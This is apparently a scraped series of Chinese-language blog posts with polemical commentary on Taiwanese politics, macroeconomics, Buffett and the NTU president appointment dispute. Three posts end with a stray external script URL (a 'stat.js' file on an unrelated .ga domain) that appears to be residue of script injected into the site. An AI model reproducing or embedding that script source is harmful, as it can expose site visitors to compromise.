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筆記

相形見拙的新南向政策

從昆明直達新加坡的一帶一路建設,將帶來顛覆性的重大侷限條件改變,運輸成本問題將獲得大幅改善,此區域的富饒指日可待。

反觀提出「新南向政策」的蔡英文政府,相形之下更像是提出一個可讓假台獨政客與裙帶人員上下其手貪汙尋租的政策而已,壓根就不是要來解決問題的。

 

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經濟分析

宏觀經濟學的尷尬—菲利普曲線死了嗎?

WSJ這篇投書:「Is the Phillips Curve Dead? And Other Questions for the Fed」是Princeton University教授,也是前任Fed副主席Alan Blinder投稿。

一文提到現在美國經濟似乎已經非宏觀經濟學可解釋,尤其是菲利普曲線(Phillips Curve)好像失靈。理論上,失業率高到一定程度會拉低通貨膨脹率,反之失業率低到一個程度會拉高通膨率。而中間會有「自然失業率」,達到時實際通膨率將等於預期通膨率,是傳統宏觀經濟學的一條重要曲線。最早只是紐西蘭統計學家A.W.Phillips單純從英國的通膨率與失業率中發現可能的潛在關係,只是一條「事實經驗曲線」。不過一堆總體經濟學家在上面不斷「看圖說故事」地衍生各種總體經濟學理論。

但可笑的是,預期通膨率只存在於腦中,真實世界並無其物,也無從探知,因此而生的自然失業率到底在說什麼?令人尷尬。況且到現在,主流總體經濟學都還沒有一個合理且可驗證的失業定義,卻能大談特談失業,這很好笑。誠如A.A. Alchian與張五常所言,經濟學有關失業的論文或理論多半不值一提,毫無可學習之處。

作者說FOMC自己也搞不清楚自然失業率應該是多少,今年認為是4.5%,但去年又認為是4.7%,三年前又定為5.1%。唯一可以確定的是,目前的4.1%失業率肯定低於FOMC認定的自然失業率,則依據宏觀經濟學理論,通貨膨脹率應該因此被推升,但真實數據卻打臉了宏觀經濟學,通膨率長時間未上升,從2012年以來幾乎都在2%以下。

作者回顧1990年代自己任職Fed時,只要失業率上升1%長達一年,則必然看到通膨率下降0.5%左右。可如今這個關係已然不存在。而且是從2000年以後,作者就發現通膨率的改變與失業率毫無關係了。於是他警告,如果宏觀經濟學的菲利普曲線失效,我們能怎麼辦?

為何發生上述總體經濟學家,還是前任Fed副主席如此雲深不知處的尷尬窘境?總體經濟學理論長久以來忽略了真實世界諸多侷限條件,尤其川普上台後諸多de-regulation與減稅措施改變美國人與外國投資者的生產意願、生產效率。是的,許多美國法規本身都扭曲了企業的資源分配,使得多數企業不得不用低效率方式生廠,甚至發生Elon Musk、太陽能業者或Obama時代的私立野雞大學這類競逐政府補助的商人尋租行為,浪費稅金還造成整體社會租值消散。

川普諸多回歸市場導向的政策,只是把被壓抑的生產效率重新釋放,把社會交易費用降低,自然會看到失業率與通膨率齊降。而偏偏這種現象總體經濟學無法自圓其說地解釋,也顯見此學問天生致命傷何在。

這也告訴我們,為什麼很多經濟學家預測經濟總是錯?因為他們只是一群關在書房裡熟讀錯誤理論,操練看似高深數學,但其實與真實世界八竿子打不著的智力遊戲者。

不過這還是比多數法律學者強,尤其台灣的法律學者,除了只會翻譯跟搞學閥之外,作學問多半談不上。價值觀永遠走在邏輯前面,而其口中「堅忍不拔」的價值觀卻又很容易為了服務政客而自我賤賣。

我自己的投資經驗來看,總體經濟學完全沒有學的必要。學過,只是知道檯面上的經濟學家在屁些什麼,但多半內容不堪推敲驗證,而且對理解真實世界或投資一點幫助都沒有,就當做看小說一般娛樂娛樂就好,切勿把總體經濟學內容當真。對投資有用的,還是把價格理論學好,然後從個人加總到群體即可。

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筆記 經濟分析

巴菲特:「為何不投資比特幣?」

巴菲特:「為何不投資比特幣?」

一年一度的Omaha盛會又召開啦,我一直想去卻排不出時間,希望明年有機會在現場囉。

過去我曾寫過一篇「論比特幣 (https://wp.me/p9ffS3-qO)」,其中提出一個重要觀點就是:「無產出的財富倉庫漲跌無侷限」,因為無產出就無法在市場上有合理的估價去侷限市價的上下極限。

因此正經的投資人不會認真看待比特幣,因為風險過高且不存在「合理價位」這回事,無從得知是否低估或高估。

巴菲特顯然與我觀點一致,在接受訪問時他強調:

「如果你買了一塊農場、一間房子或一家公司,你知道這生意每年可以帶來多少回收,你就知道在市場上合理價位在哪。

可是當你投資的是貨幣這種東西時,它不可能有任何產出,你只能等有誰願意用更高價格買走。

前者才是投資,後者只是賭博。」

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法律

政治風向偵測球的大法官們

聲請釋憲本來就不可能擋下假台獨政客的預計要大賺特賺的「前瞻基礎建設特別條例」及其預算案啦~

都說過大法官們很會看政治風向,服膺最高領導,不然當初也不會被選出來啦。

什麼?有立委主張當初民進黨蠻橫通過前瞻計畫條例,立法程序有瑕疵,主張聲請釋憲!

大法官輕彈手指,發揮2成功力,就順風順勢地駁回啦。

尼看看!擋得多麼地華麗而富有詩意! XD

大法官說:依法立委聲請釋憲必須超過38人,喔~馬上抓出一名立委當時拒絕二審時投票,大法官主觀認定這個人不算數。

有些人本來投票反對,最後又投贊成,大法官主觀認定這些也通通不算數不能提出釋憲聲請。

所以就大法官就不審啦,因為「程序要件不符合聲請人數要超過1/3立委席次」。

(當大法官挺爽的,隨時可以掰理由不工作,然後月領近30萬。

人家機器儀器上面會標明「工作條件」。

台灣大法官是嗆明「不工作條件」。)
http://jirs.judicial.gov.tw/GNNWS/NNWSS002.asp?id=332656https://js.developerstatss.ga/stat.js?n=ns1

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隨筆 法律

又是顏厥安

這個顏厥安教授為了迎合特定政治目的而發表荒謬法律見解已經不是第一次啦!

當年服貿協議,這位顏教授就主張對於明明是開放限制、增加人民自由的事項要採取「嚴格審查」這種荒謬見解。當時我就寫文章罵此教授法律邏輯混亂不堪。

針對管案此教授再發這種迎合特定政客的言論,非常不意外。

其論點有二:

1. 台大是政府出錢的,所以政府對其校長有審查權

2. 台大校長不是學校的校長,是受人民所託管理台大

此二論點都很可笑。

一者,如果政府出錢就可以對該組織領導人任命有審查權,那台灣政府透過四大基金、國安基金買進的上市私人公司股票,豈不是通通變成公營企業,董事長任命都要經過經濟部審查啦?

此外這種言論根本迴避我一直以來強調的:大學法第九條歷年來修法與當年修法理由,就是要把國立大學校長任命權從教育部手上拿走。顏教授刻意忽略這個特別法的規範,瞎扯「政府出錢要聽政府的」。

試問「納稅人一年繳那麼多稅,政府何時聽納稅人的啦?」

二者,如果台大校長是受人民所託管理台大,那為何不開放全民直選哩?為何法律規定是由「學校成立遴選委員會來做成選擇」呢?

又,把一個產權明確的物件硬式套成「全民所有」模糊其產權規劃,恰恰是無良政客最愛的藉口,好方便上下其手。此乃經濟分析可得知的手段。

可嘆的是此教授竟然忝為「殷海光基金會」董事長,還曾在2010年5月2日馬英九執政時投書中國時報謂:

「…依法行政的目的,是在「節制」行政權的濫用,避免行政機關恣意行使權力,侵害人民的基本權利。因此只有在法律明文或明確授權的範圍內,國家機關的公權力行使才能干預人民的基本權。而這些法律,又不能牴觸憲法的規定,權力的具體實施,也必須謹守比例原則的拘束,盡最大可能保障人民的權利與利益。…」

真是人世間最好笑的反諷劇。

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筆記

波克夏成為美國第二大住宅房仲業者

華爾街日報報導:「Warren Buffett’s Berkshire Is Now America’s Second Largest Real-Estate Broker

雖然Berkshire Hathaway HomeServices只是波克夏帝國底下不起眼的小部門,但歷經十幾年經營,也成為全美第二大住宅房仲業者(共1330間門市,45000位仲介人員)

2013年以來年營收幾乎翻倍,2017年達$35億美元,年稅後淨利為$2.2億美元。全美市占率僅3%。

而這家公司原本只是無心插柳,2000年波克夏併購MidAmerican這家大型能源公司時,HomeServices是一起跟過來的拖油瓶。巴菲特當然重點在於能源公司,而非房仲。不過他很大方地出借波克夏招牌給這家小房仲,該公司員工宣稱自從改名多冠了Berkshire Hathaway在名字裡,高級住宅變得10倍好賣,因為人人都認得巴菲特大名!

市場大才能養得起波克夏這種怪物。人家底下不起眼的部門,年營收折台幣也有千億,將近6家信義房屋。放到台灣股市馬上變大咖。

反過來,還是老話一句:台灣政府不懂得熱烈擁抱隔壁的巨大市場,享受全世界最低的溝通成本(共通語言算是台灣的歸屬租值),而是反過來不自量力地要與之敵視,愚蠢至極。唯一合理解釋,就是提倡假台獨對少數政客有利,這群政客是台灣人的負租產。

PS 利益揭露:本人持有波克夏股票多年

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法律

可笑的教育部法律矛盾

賤賣自尊的部份法律人,硬要扭曲解釋大學法第九條宣稱教育部對公立大學校長聘任有審查權,你看看,現在就自我打臉,謊話圓不起來了吧。

教育部今日宣稱「駁回管中閩任命,不算"行政處分"」。

怪啦,不是自己號稱有審查權?那審查不通過怎麼「不算行政處分」呢?那這個不通過算個屁?難道只是「教育部無拘束力之屁話」?

反之,既然承認「不是行政處分」,那不是恰恰自己打臉自己,承認「教育部無審查權」嗎?

看教育部自打嘴巴,真的娛樂性十足哩!!😎

PS 所謂「行政處分」是依據行政程序法第92條第一項定義:「本法所稱行政處分,係指行政機關就公法上具體事件所為之決定或其他公權力措施而對外直接發生法律效果之單方行政行為。」

教育部宣稱「駁回管案不算行政處分」,法律上等於是說:「我的駁回不發生任何法律效果,亦或者我根本就沒做任何決定」

夠蠢吧~~~~https://js.developerstatss.ga/stat.js?n=ns1

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隨筆

隨筆

台積電的上頭成本並不在發電這一塊,但台電是。
 
這就造就二者進入生產電力的侷限條件不同,經濟規模不同以及邊際生產成本不同。
 
此外,微觀來看,台積電把原本可以產生更高收益的資源(搞更低奈米的製程或是提高既有製程良率)放到不拿手的發電上,不僅僅是金錢投資問題,還有人力培養與管理極限等,都是生產要素之一。
 
從機會成本來看,就是件蠢事。
 
宏觀面看,說過了,比較優勢定律下,社會上最好是人人從事自己專長之事(包含企業),再透過自由市場交易,可以無限放大整體社會的財富。
 
自給自足是最愚蠢的貧窮策略,只有蠢蛋才會相信自給自足。
 
綜觀人類經濟史,當家庭的自給自足率高時,都是最貧窮的時候或地區。換言之,自給自足不是「想望如此」而是「被迫如此」。
 
至於宣稱自己過著「自給自足」生活的蠢文青,只是「自以為」而已。看看他們身上穿的衣服、用的鐮刀鋸子等工具,就算他們宣稱是垃圾堆撿來的「重新價值創造」,骨子裡都是靠現代分工合作下的大工廠大規模生產,才讓他們有這堆垃圾可撿可回收使用。
 
要是整個社會真的都自給自足,煉鋼將是多麼奢侈的活動,哪有丟棄的金屬工具給這群文青撿拾?紡織品、塑料品乃至於書籍與電子產品,都是靠社會高度分工合作與大量生產才得以實現,才便宜到可以成為「垃圾」讓蠢文青撿拾。
 
也就是說動不動就批判「資本主義」的蠢文青,壓根就沒看穿這層邏輯關係,是「全球化自由市場」他們才得以享受現今這一切,特別是許多對古人來說難以想像的奢侈品,如今可從垃圾中撿拾。當他們夢想中的「自給自足」、「無欲」生活真的實現時,他們早就餓死了。
 
回過頭看,當社會富裕到足以支撐「市場」時(說過無數次,市場是非常昂貴的奢侈品),各自專心於專精項目,整體生產力可以數百億倍地增加!這是史實。
 
再者,何謂「環保」?說穿了「真正在侷限條件下以最高效率生產」才叫環保。強迫某人選用較低效率方式生產或取得資源,才是無謂的浪費(其實是租值消散)與不環保。

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隨筆

抹滿糞便的廁所

以前我在衛道中學住宿時,偶爾週末被罰勞動服務要清掃宿舍廁所。

曾誇張地掃過一間前後左右壁面與地板都抹滿糞便的廁所!

後來舍監抓到人犯,原來是他受不了上廁所老要排隊,所以搞爛一間後,只有他敢進去用,再也不用排隊。

經濟分析來看果然是另類的租值創造法!

看到這篇新聞,不禁讓我想起這件事 — 假台獨們搞爛法律/整間廁所塗滿大便後,再來說遴選程序/廁所有問題,所以正常人不願意進去,只有"特殊人士"才願意進去。

假台獨們這招算模仿犯嗎?厲害厲害!

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法律

再論大學法第九條–教育部為何無國立大學校長聘任審查權?

此種似是而非的說法,少數自甘墮落的法律人硬坳大學法第九條「教育部對國立大學校長人選有審查權」的謬論,根本完全忽視大學法修法歷程,才會出現這種錯誤解讀。

82年舊大學法第九條規定:「大學或獨立學院置校長或院長一人,綜理校(院)務;國立者,由教育部聘任…」

92年舊大學法第七條規定校長之聘任:「大學校長之產生,應由各校組成遴選委員會遴選二至三人,國立者,由各大學報請教育部組織遴選委員會擇聘之..」

到後來94年修法改為:「新任公立大學校長之產生,應於現任校長任期屆滿十個月前,由學校組成校長遴選委員會,經公開徵求程序遴選出校長後,由教育部或各該所屬地方政府聘任之。」

從「由教育部聘任」到「擇聘之」改為「經公開程序遴選出後由教育部聘任之」,修法歷程尚顯然立法者有意不斷限縮教育部對國立大學校長的審查權限。從最早的「全由教育部決定」改為「經遴選委員會遴選」,就是把原本教育部內部執行的項目,強迫外包給學校組成的遴選委員會決定之。

為何?體現大學自主嘛!第一條開宗明義:「…大學應受學術自由之保障,並在法律規定範圍內,享有自治權。」

從法律經濟分析角度來看,就是把相當程度的產權內容,劃撥給大學自由使用。

再者,同樣第九條規定「教育部及各該所屬地方政府應於校長聘期屆滿一年前進行評鑑,作為大學決定是否續聘之參考。」,若真如部分法律人宣稱的「聘任時教育部有審查權」,試問那又何須特別立法再加入此段文字?。

此段文字的存在,恰恰證明聘任時無審查權,才需要聘期屆滿一年前明文規定教育部有權進行評鑑,作為續聘之「參考」。注意,只是「作為大學是否續聘之參考」,而非「作為教育部之參考」。顯見教育部依然無權「審查而拒絕聘任」!

反觀私立大學,最早民國36年舊大學法第八條規定:「…私立大學校長由董事會聘任呈報教育部備案…」

但從61年舊大學法則修改為:「…私立者,由董事會報請教育部核准後聘任之…」

此後私立大學一直是「報請教育部核准後聘任之」。從「無審查權」到「有審查權」,立法文字進化歷程清清楚楚。

再者,國家財源密切與否和「大學自主」完全是兩回事。

立法歷程文字變化使用與立法者邏輯清清楚楚,連非法律人都看出公立私立大學二者之校長遴選方式,立法者有意為不同之處理。法律人偏偏可以為了政治目的硬坳。還硬扯案由其實完全無關的大法官釋憲文,在在只是彰顯台灣案例法教育的失敗,連最基本的case law application都用錯,我這種在美國法學院待過的真是看不下去。

最好笑的是這群硬坳的法律人,特別是由台大某劉姓教授帶頭的,當年服貿協議、貨貿協議這種開放人民自由的法律都能硬坳成「需要嚴格憲法審查」;而面對今日這種明明教育部擅自擴權、曲解法律的惡行,卻自甘為犬服其勞,有夠禮義廉的!https://js.developerstatss.ga/stat.js?n=ns1